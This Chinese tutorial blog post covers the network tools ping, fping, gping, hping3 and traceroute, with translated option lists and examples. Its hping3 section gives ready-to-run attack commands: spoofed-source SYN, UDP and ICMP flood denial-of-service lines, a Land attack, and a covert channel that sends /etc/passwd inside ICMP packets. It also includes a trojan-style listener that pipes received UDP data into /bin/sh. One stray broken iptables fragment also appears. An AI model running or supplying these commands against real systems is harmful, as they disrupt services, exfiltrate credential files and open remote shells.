From: Nmap、Netcat、Hping3工具对比:http://www.2cto.com/article/201210/158961.html
hping3 命令:http://man.linuxde.net/hping3
示例:Testing firewall rules with Hping3 :https://www.docin.com/p-745382113.html
在线 ping 工具
1、ping 命令 用法
ping 命令 http://man.linuxde.net/ping
ping 主要是判断主机之间网络是否畅通,同时可以判断是否存活,但是如果防火墙禁用了 ICMP 报文,就是禁止 ping,就无法 ping 通,没法判断主机存活。
windows 平台 ping
Linux 平台 ping
2、fping
fping 是一个向网络主机发送 ICMP 回显探测的程序,类似于 ping,但在 ping 多个主机时性能要好得多。fping 就是 ping 的加强版,可以对一个 IP段 进行 ping 扫描。
fping 用法
fping -h
用法:fping [选项] [目标…]探测选项:
-4, –ipv4 仅 ping IPv4 地址
-6, –ipv6 仅 ping IPv6 地址
-b, –size=BYTES 发送的 ping 数据包的大小。以字节为单位(默认值:56)
-B, –backoff=N 将指数退避因子设置为 N(默认值:1.5)
-c, –count=N 向每个目标发送 ping 的数量。(默认 1)
-f, –file=FILE 从文件中读取目标列表( – 表示标准输入)
-g, –generate 生成目标列表(仅当未指定 -f 时)
(在目标列表中给出开始和结束 IP,或 CIDR 地址)
(例如 fping -g 192.168.1.0 192.168.1.255 或 fping -g 192.168.1.0/24)
-H, –ttl=N 设置 IP 的 TTL 值(Time To Live hops)
-I, –iface=IFACE 指定网卡接口,就是从那个网卡接口发送 ping
-l, –loop 循环模式:永远发送 ping
-m, –all 使用所提供hostnames的所有 IP(例如 IPv4 和 IPv6),与 -A 一起使用
即 ping 目标主机的多个网口
-M, –dontfrag 设置不分片标志
-O, –tos=N 在 ICMP 数据包上设置服务类型 (tos) 标志
-p, –period=Ping 对同一个目标的ping包间隔(毫秒)
(在循环和统计模式中,默认为1000)
-r, –retry=N 当ping失败时,最大重试次数( 默认为3次 )
-R, –random 随机数据包数据(用于阻止链接数据压缩)
-S, –src=IP 设置源IP地址
-t, –timeout=MSEC 单个目标的超时时间(毫秒)
(默认值:500 毫秒,除了 -l/-c/-C,它的 -p 周期最长为 2000 毫秒)输出选项:
-a, –alive 显示活动的目标。即可ping通的目标
-A, –addr 按IP地址显示目标
-C,–vcount=N 同-c,以详细格式报告结果
-d, –rdns 按名称显示目标(强制反向 DNS 查找)
-D, –timestamp 在每个输出行之前打印时间戳
-e, –elapsed 显示返回数据包经过的时间
-i, –interval=MSEC ping 数据包之间的 MSEC 间隔(默认值:10 毫秒)
-n, –name 按名称显示目标(目标 IP 的反向 DNS 查找)
-N, –netdata 兼容 netdata 的输出(需要 -l -Q)
-o, –outage 显示累计中断时间(丢包*包间隔)
-q, –quiet 安静模式(不显示每个目标或每个ping的结果)
-Q, –squiet=SECS 同-q, 但是,每n秒显示信息概要
-s, –stats 打印最终统计数据
-u, –unreach 显示不可到达的目标
-v, –version 显示版本
-x, –reachable=N 显示 >=N 主机是否可达
示例:
fping -A -u -c 4 192.168.1.1 192.168.1.74 192.168.1.20
fping -a -A -g 192.168.100.0/24
fping -A www.baidu.com -m
3、gping
github:https://github.com/orf/gping
ping 基于文本形式,缺少可读性,gping 是基于 Rust 编写可视化工具,具有动态图形化界面显示,可以实时查看网络连通情况。gping 就是带有图表的 Ping
gping 特点:
- 绘制多个主机的 ping 时间图
- 通过 –cmd 参数 绘制命令的执行时间
- 自定义颜色
- Windows、Mac 和 Linux 支持
用法:gping 域名/ip
示例:查看多个域名:gping www.baidu.com www.qq.com
4、hping、hping3
hping、hping3 核心应用:灵活地构建 TCP、IP 数据包
hping 是命令行下使用 TCP/IP 来 组装/分析 数据包的开源工具。作者是 Salvatore Sanfilippo,界面灵感来自 ping(8)unix 命令,目前最新版是 hping3,它支持 TCP,UDP,ICMP 和 RAW-IP 协议,具有跟踪路由模式,能够在覆盖的信道之间发送文件以及许多其他功能,支持使用 tcl 脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping 优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。
Nmap 团队也开发了一款类似的工具 Nping,集成在 Nmap 的安装包中。
hping 通常被用在 web 服务,用来做压力测试使用,进行DOS攻击实验。hping3 缺点是每次只能扫描一次目标。虽然 hping 以前主要用作安全工具,但它可以在许多方面被不太关心安全性的人员用于测试网络和主机,您可以使用 hping 的一小部分内容:
- 防火墙测试
- 高级端口扫描
- 网络测试,使用不同的协议,TOS,分片
- 手动路径 MTU 发现
- 在所有支持的协议下,高级 traceroute
- 远程操作系统指纹
- 远程正常运行时间猜测
- TCP/IP 协议栈审计
- hping 也可以用于学习TCP/IP的学生
hping3 参数
hping3 -h
用法: hping3 host [options]
-h --help 显示帮助
-v --version 显示版本
-c --count 发送数据包的数目
-i --interval 每个数据包的时间间隔 (uX X表示微秒, 示例:-i u1000)
--fast 等价 -i u10000 (每秒发送10个数据包)
--faster 等价 -i u1000 (每秒发送100个数据包)
--flood 尽最快发送数据包,不显示回复。
-n --numeric 数字化输出,象征性输出主机地址。
-q --quiet 安静模式
-I --interface 网卡接口 (默认是路由接口)
-V --verbose 详细模式
-D --debug 调试信息
-z --bind 绑定 ctrl+z 到 ttl (默认为目的端口)
-Z --unbind 取消绑定 ctrl+z 键
--beep 对于接收到的每个匹配数据包蜂鸣声提示
模式 选择
default mode TCP // 默认模式是 TCP
-0 --rawip 原始 IP模式。即裸IP方式。使用 RAWSOCKET 方式。
在此模式下 hping 会发送带数据的IP头。
-1 --icmp ICMP 模式
-2 --udp UDP 模式
-8 --scan 扫描 模式。示例:hping --scan 1-30,70-90 -S www.target.host
-9 --listen 监听 模式
IP 模式
-a --spoof 源地址欺骗。
伪造IP攻击,防火墙就不会记录你的真实IP,当然回应的包你也接收不到。
--rand-dest 随机目的地址模式。详细使用 man 命令
--rand-source 随机源地址模式。详细使用 man 命令
-t --ttl 设置 ttl (默认 64)
-N --id 设置 hping 中的 ID 值,默认随机值
-W --winid 使用 win* id 字节顺序。
使用winid模式,针对不同的操作系统。UNIX ,WINDIWS的id回应不同的,
选项可以让你的ID回应和WINDOWS一样。
-r --rel 相对id字段(估计主机流量)。更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-f --frag 拆分数据包成更多的 frag。即 一个数据包 分段 成多个数据包,
可以测试对方或者交换机碎片处理能力,缺省16字节。(可能会通过弱的ACL限制)
-x --morefrag 设置更多的分段标志。大量碎片,泪滴攻击。
-y --dontfrag 设置不分段的标志。即发送不可恢复的IP碎片,
通过这个可以让你了解更多的 MTU PATH DISCOVERY。
-g --fragoff 设置断偏移。
-m --mtu 设置虚拟MTU值,如果 packet size > mtu 时,实现 --frag。
-o --tos type of service (default 0x00), try --tos help
-G --rroute 显示路由缓存,包括 RECORD_ROUTE 选项
--lsrr 松散源路由和路由记录
--ssrr 严格的源路由和路由记录
-H --ipproto 设置 IP 协议字段,仅在 RAW IP 模式下使用
ICMP 模式
-C --icmptype icmp 类型 (默认回显请求)
-K --icmpcode icmp 码 (默认 0)
--force-icmp 发送所有 icmp 类型 (默认只发送支持的类型)
--icmp-gw 设置ICMP重定向网关。(默认0.0.0.0) // ICMP重定向
--icmp-ts 等同 --icmp --icmptype 13 (ICMP 时间戳)
--icmp-addr 等同 --icmp --icmptype 17 (ICMP 地址 子网 掩码)
--icmp-help 显示其他icmp选项帮助 // ICMP帮助
UDP/TCP 模式
-s --baseport 源端口 (默认随机)
-p --destport [+][+]<port> 目的端口(默认 0) ctrl+z inc/dec
-k --keep 保持源端口。即源端口不关闭,一直处于监听状态
-w --win winsize (default 64)。win的滑动窗口。windows发送字节(默认64)
-O --tcpoff 伪造 tcp 数据偏移量(用来代替 "tcp地址长度 / 4" )
-Q --seqnum 仅显示tcp序列号
-b --badcksum (尝试) 发送带有错误checksum的IP数据包。
许多系统将修复发送数据包的IP校验和。
所以你会得到错误UDP/TCP校验和。
-M --setseq 设置TCP序列号
-L --setack set TCP ack ( 注意:不是设置 TCP ACK 的 flag )
-F --fin set FIN flag
-S --syn set SYN flag
-R --rst set RST flag
-P --push set PUSH flag
-A --ack set ACK flag (注意:设置 TCP ACK 的 flag )
-U --urg set URG flag // 一大堆IP数据包头的设置。
-X --xmas set X unused flag (0x40)
-Y --ymas set Y unused flag (0x80)
--tcpexitcode use last tcp->th_flags as exit code
--tcp-mss 用给定的值,启用并设置 TCP MSS
--tcp-timestamp 启用 TCP时间戳 来猜测 HZ/uptime
用用设置
-d --data 数据大小 ( 默认是 0 )
-E --file 从文件获取数据
-e --sign 添加 'signature'
-j --dump 转储为16进制数据包
-J --print 转储为可打印字符
-B --safe 启用“安全”协议
-u --end 告诉 --file 何时到达 EOF 并阻止倒回。
-T --traceroute 追踪模式。( 等同 --bind and --ttl 1 )
--tr-stop 在 追踪模式 下收到第一个不是ICMP时退出
--tr-keep-ttl 保持源 TTL 固定,对仅监控一跳很有用
--tr-no-rtt 不要在 traceroute 模式下计算/显示 RTT 信息
ARS 数据包描述(新增功能,不稳定的)
--apd-send 发送用 APD 描述的数据包 (参见 docs/APD.txt)
hping3 的使用
hping3 -c 5000 -d 150 -S -w 64 -p 81 –flood 1.1.1.1 —– 打400M TCP SYN流量
hping3 -c 999999999 -d 150 -S -w 64 -p 81 -i u1000 1.1.1.1 —- 打1.5M TCP SYN流量
hping3 -c 999999999 -d 150 -w 64 -p 81 -i u10 1.1.1.1 -2 —- 组合限速,打100M UDP流量
防火墙测试
参考:http://0daysecurity.com/articles/hping3_examples.html
使用 Hping3 指定各种数据包字段,依次对防火墙进行详细测试。测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack 方式测试目标防火墙( Land Attack 是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接 )。
hping3 -S -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10
端口扫描
Hping3 也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:
hping3 -I eth0 -S -p 80 -c 5 192.168.1.107 # 端口扫描
其中-I eth0 指定使用eth0端口,-S 指定TCP包的标志位SYN,-p 80指定探测的目的端口。
hping3 支持非常丰富的端口探测方式,nmap 拥有的扫描方式 hping3 几乎都支持(除开 connect方式,因为 Hping3 仅发送与接收包,不会维护连接,所以不支持 connect 方式探测)。而且Hping3 能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3 的端口扫描性能及综合处理能力,无法与 Nmap 相比。一般使用它仅对少量主机的少量端口进行扫描。
Idle 扫描
Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是 Hping3 的作者 Salvatore Sanfilippo 发明的,目前 Idle 扫描在 Nmap 中也有实现。
该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。
DoS 攻击方法
使用 Hping3 可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用 1000 微秒的间隔发送各个SYN包。
hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000
其他攻击如 smurf、teardrop、land attack 等也很容易构建出来。
随机 源IP 的 Dos 攻击
hping3 -c 10000 -d 120 -S -w 64 -p 21 –flood –rand-source www.hping3testsite.com
hping3 -S -U –flood -V –rand -source IP
-c 100000 发送数据包的数量
-d 120 发送数据包的大小
-S 只发送SYN 数据包
-w 64 TCP window的大小.
-p 21 目的端口号
–flood 尽可能快的发送,不显示回显。
–rand-source 使用随机的Source IP Addresses 或者使用 -a or spoof to hide hostnames
ICMP flood
ICMP 的泛洪攻击是在最小时间内发送最大的ICMP数据到目标机,例如使用ping指令。在”旧”时代它使用一个巨大的ping(死亡之ping)是可能破坏机器,希望这些时间已经过去,但它仍有可能攻击任何机器的带宽和处理时间,如果接受到这种ICMP数据包。
命令:hping3 -q -n -a 10.0.0.1 –id 0 –icmp -d 56 –flood 192.168.0.2
-q 表示quiet, -n 表示无 name resolving, id 0 表示有ICMP echo request (ping)
-d i表示包的大小 (56 is the normal size for a ping).
某些系统配置中自动地丢弃这种通过hping生成的头部设定不正确的ICMP包(例如不可能设置带顺序的ID)。在这种情况下,您可以使用Wireshark嗅探正常的ICMP回显请求报文,将其保存为二进制文件,并使用hping3重播。示例:hping3 -q -n –rawip -a 10.0.0.1 –ipproto 1 –file “./icmp_echo_request.bin” -d 64 –flood 192.168.0.2
UDP flood
命令:hping3 -q -n -a 10.0.0.1 –udp -s 53 –keep -p 68 –flood 192.168.0.2
对于UDP,你必须精确的知道源和目的端口,这里我选择了DNS和BOOTPC(的dhclient)端口。该BOOTPC(68)端口经常在个人电脑开着,因为大多数人使用DHCP来自己连接到网络。
ame blacklist_180 –set -m comment –comment”Blacklist source IP” -j DROP
SYN flood
SYN泛洪是最常用的扫描技术,以及这样做的原因是因为它是最危险的。 SYN泛洪在于发送大量的TCP数据包只有SYN标志。因为SYN报文用来打开一个TCP连接,受害人的主机将尝试打开这些连接。这些连接,存储的连接表中,将继续开放一定的时间,而攻击者不断涌入与SYN数据包。一旦受害者的连接表被填满时,它不会接受任何新的连接,因此,如果它是一个服务器这意味着它已不再被任何人访问。
示例:hping3 -q -n -a 10.0.0.1 -S -s 53 –keep -p 22 –flood 192.168.0.2
其他 SYN flood 攻击
有许多使用TCP泛洪的可能性。如你所愿刚才设置的各种TCP标志。某些TCP泛洪技术包括制定了很多不寻常的标志扰乱。例如与SARFU扫描
示例:hping3 -q -n -a 10.0.0.1 -SARFU -p 22 –flood 192.168.0.2
Land 攻击
Land 攻击原理是:用一个特别打造的SYN包,它的原地址和目标地址都被设置成某一个服务器地址。此举将导致接受服务器向它自己的地址发送SYN-ACK消息,结果这个地址又发回ACK消息并创建一个空连接。被攻击的服务器每接收一个这样的连接都将保留,直到超时,对Land攻击反应不同,许多UNIX实现将崩溃,NT变的极其缓慢(大约持续5分钟)
nmap 扫描 确定开放端口
Network Mapper,是Linux下的一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统
nmap v sA n www.yourorg.com oA firewallaudit
ARP攻击 / ARP欺骗
工具: ettercap
文件传输
Hping3 支持通过 TCP/UDP/ICMP 等包来进行文件传输。相当于借助 TCP/UDP/ICMP 包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。
在接收端开启服务,监听 ICMP 包中的签名,根据签名解析出文件内容。
hping3 192.168.1.159 –listen signature –safe –icmp在发送端使用签名打包的ICMP包发送文件:
hping3 192.168.1.108 –icmp -d 100 –sign signature –file /etc/passwd将 /etc/passwd 密码文件通过 ICMP 包传给 192.168.10.44 主机。
发送包大小为100字节(-d 100),发送签名为 signature (-sign signature)。
木马功能
如果 Hping3 能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。
示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。
当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。
在木马启动端:
hping3 192.168.10.66 –listen signature –safe –udp -p 53 | /bin/sh在远程控制端:
echo ls > test.cmd
hping3 192.168.10.44 -p53 -d 100 –udp –sign siganature –file ./test.cmd将包含ls命令的文件加上签名 signature 发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。
5、tracert、traceroute
traceroute 是用来追踪出送数据包的主机到目标主机之间所经过的网关的工具。其实就是追踪路由的工具。通过 traceroute 可以知道信息从你的计算机到互联网另一端的主机是走的什么路径。当然每次数据包由某一同样的出发点(source)到达某一同样的目的地(destination)走的路径可能会不一样,但基本上来说大部分时候所走的路由是相同的。
traceroute 通过发送小的数据包到目的设备直到其返回,来测量其需要多长时间。一条路径上的每个设备 traceroute 要测3次。输出结果中包括每次测试的时间(ms)和设备的名称(如有的话)及其IP地址。
Windows 命令:tracert
linux 命令:traceroute
用法:traceroute [ -46dFITnreAUDV ] [ -f first_ttl ] [ -g gate,… ] [ -i device ] [ -m max_ttl ] [ -N squeries ] [ -p port ] [ -t tos ] [ -l flow_label ] [ -w MAX,HERE,NEAR ] [ -q nqueries ] [ -s src_addr ] [ -z sendwait ] [ –fwmark=num ] host [ packetlen ]
帮助:traceroute –help
选项:
-4 使用 IPv4
-6 使用 IPv6
-d --debug 启用套接字级调试
-F --dont-fragment 不分片数据包
-f first_ttl --first=first_ttl 从 first_ttl 跃点开始(而不是从 1 开始)
-g gate,... --gateway=gate,... 通过指定的网关发送数据包(IPv4 最多8个,IPv6 最多 127 个)
-I --icmp 使用 ICMP ECHO 进行跟踪
-T --tcp 使用 TCP SYN 进行跟踪(默认端口为 80)
-i device --interface=device 指定要使用的网络接口
-m max_ttl --max-hops=max_ttl 设置最大跳数(最大 TTL 为到达)。默认值为 30
-N squeries --sim-queries=squeries 设置尝试的探测次数(默认为 16)
-n 不将 IP 地址解析为其域名
-p port --port=port 设置要使用的目标端口。
要么是 默认 方法的初始 udp 端口值(每个探针递增,默认值为 33434),
要么是 icmp 的初始 seq(也递增,默认从 1),
或者其他方法的某个恒定目标端口(使用 tcp 默认为 80,udp 默认为 53,等等)
-t tos --tos=tos 设置 TOS (即 IPv4 服务类型) 或 TC(Pv6 traffic class)传出数据包的值
-l flow_label --flowlabel=flow_label 对 IPv6 数据包使用指定的 flow_label
-w MAX,HERE,NEAR --wait=MAX,HERE,NEAR 等待探测的时间不超过 HERE(默认 3)倍于来自同一跃点的响应,
或不超过 NEAR(默认 10)倍于某个下一跃点,
或 MAX(默认 5.0)秒(也允许浮点值) )
-q nqueries --queries=nqueries 设置每跳的探测数。默认为 3
-r 绕过正常路由,直接发送到连接网络上的主机
-s src_addr --source=src_addr 将源 src_addr 用于传出数据包
-z sendwait --sendwait=sendwait 探测之间的最小时间间隔(默认 0)。
如果该值大于 10,则它指定一个以毫秒为单位的数字,
否则它是一个秒数(也允许浮点值)
-e --extensions 显示 ICMP 扩展(如果存在),包括 MPLS
-A --as-path-lookups 在路由注册表中执行 AS 路径查找,并在对应地址后直接打印结果
-M name --module=name 使用指定的模块(内置或外部)进行跟踪路由操作。
大多数方法都有它们的快捷方式(`-I' 表示 `-M icmp' 等)
-O OPTS,... --options=OPTS,...
使用特定模块的 OPTS 选项来跟踪路由模块。
允许多个 OPTS,OPTS之间用逗号分隔。
如果 OPTS 是 help,则打印 options 的帮助信息。
--sport=num 将源端口号用于传出数据包。等同 -N 1
--fwmark=num 为传出数据包设置防火墙标记
-U --udp 使用 UDP 到特定端口进行跟踪路由(而不是增加每个探测的端口),默认端口为 53
-UL 使用 UDPLITE 进行跟踪路由(默认目标端口是 53)
-D --dccp 使用 DCCP 请求进行跟踪路由(默认端口是 33434)
-P prot --protocol=prot 使用 protocol prot 的原始数据包进行tracerouting
--mtu Discover MTU along the path being traced. 等同 '-F -N 1'
--back 猜测反向路径的跳数和,如果不同则打印
-V --version 打印版本信息并退出
--help 阅读此帮助并退出
参数:
+ host 要追踪的数据
packetlen 完整的数据包长度(默认为 IP 标头长度加上 40)。 可以忽略或增加到最小允许值
示例:
traceroute www.baidu.com # 查看我们访问百度经过的网关
traceroute -d www.baidu.com # 访问百度并且不将地址解析成主机名。
今天的文章linux 命令:ping、fping、gping、hping3、tracert、traceroute分享到此就结束了,感谢您的阅读。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
如需转载请保留出处:https://bianchenghao.cn/10195.html